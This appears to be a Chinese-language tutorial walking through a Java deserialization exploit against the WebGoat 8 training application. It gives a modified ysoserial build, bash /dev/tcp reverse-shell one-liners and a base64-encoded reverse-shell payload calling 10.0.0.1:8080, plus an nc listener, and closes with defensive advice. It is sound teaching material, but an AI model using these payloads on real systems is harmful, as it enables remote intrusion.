利用 Java 反序列化漏洞在受限环境下获取反向 Shell
字数 1142 2025-08-27 12:33:31
Java反序列化漏洞利用实战:从发现到获取反向Shell
1. Java反序列化漏洞概述
Java反序列化漏洞是安全社区中已知多年的高危漏洞,最早由Chris Frohoff和Gabriel Lawrence在2015年AppSecCali会议上提出。该漏洞源于Java对象序列化机制:
- 序列化:将内存中的对象转换为二进制或文本格式以便存储或传输
- 反序列化:将序列化数据还原为内存中的对象
- 漏洞本质:当应用程序反序列化不可信数据时,可能导致远程代码执行(RCE)
2. 漏洞发现与验证
2.1 工具准备
- Burp Suite:用于拦截和分析HTTP请求
- Java-Deserialization-Scanner插件:
- 提供扫描功能检测潜在漏洞
- 集成ysoserial生成利用代码
2.2 扫描过程
- 拦截目标应用(如WebGoat 8)的序列化数据请求
- 使用插件扫描端点,典型输出示例:
Hibernate 5 (Sleep): Potentially VULNERABLE!!!
3. 漏洞利用准备
3.1 ysoserial工具
ysoserial是专门用于生成Java反序列化利用payload的工具,但原始版本对Hibernate 5支持存在问题。
3.2 修改ysoserial
-
添加依赖:在pom.xml中添加javax.el包
<dependency> <groupId>javax.el</groupId> <artifactId>javax.el-api</artifactId> <version>3.0.0</version> </dependency> -
重新构建:
mvn clean package -DskipTests -Dhibernate5 -
生成测试payload:
java -Dhibernate5 -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar Hibernate1 "touch /tmp/test" | base64 -w0
4. 获取反向Shell
4.1 环境限制分析
在受限环境中,首先枚举可用二进制:
which php
which python
which python3
which wget
which curl
which nc
which perl
which bash
常见结果可能只有Perl和Bash可用。
4.2 Shell选择与限制
-
Bash反向Shell:
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1- 问题:
java.lang.Runtime.exec()不支持重定向或管道操作符
- 问题:
-
Java实现反向Shell:
修改ysoserial的Gadgets.java文件(第116-118行):String cmd = "java.lang.Runtime.getRuntime().exec(new String []{\"/bin/bash\",\"-c\",\"exec 5<>/dev/tcp/10.0.0.1/8080;cat <&5 | while read line; do \\$line 2>&5 >&5; done\"}).waitFor();"; clazz.makeClassInitializer().insertAfter(cmd);
4.3 替代编码方案
使用在线编码器(如http://jackson.thuraisamy.me/runtime-exec-payloads.html)将Bash命令编码为可执行格式:
原始命令:
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
编码后payload:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xMC4xLzgwODAgMD4mMQ==}|{base64,-d}|{bash,-i}
5. 完整利用流程
-
生成反向Shell payload:
java -Dhibernate5 -jar ysoserial-0.0.6-SNAPSHOT-all.jar Hibernate1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xMC4xLzgwODAgMD4mMQ==}|{base64,-d}|{bash,-i}" | base64 -w0 -
监听端口:
nc -lvnp 8080 -
发送payload:
将生成的Base64编码payload发送到目标应用的序列化端点
6. 防御建议
- 输入验证:不要反序列化不可信数据
- 使用安全替代方案:
- JSON、XML等安全数据格式
- 使用白名单验证反序列化类
- 更新依赖:及时更新框架和库
- 安全配置:
- 使用
ObjectInputFilter限制反序列化类 - 考虑使用
SerialKiller等防护工具
- 使用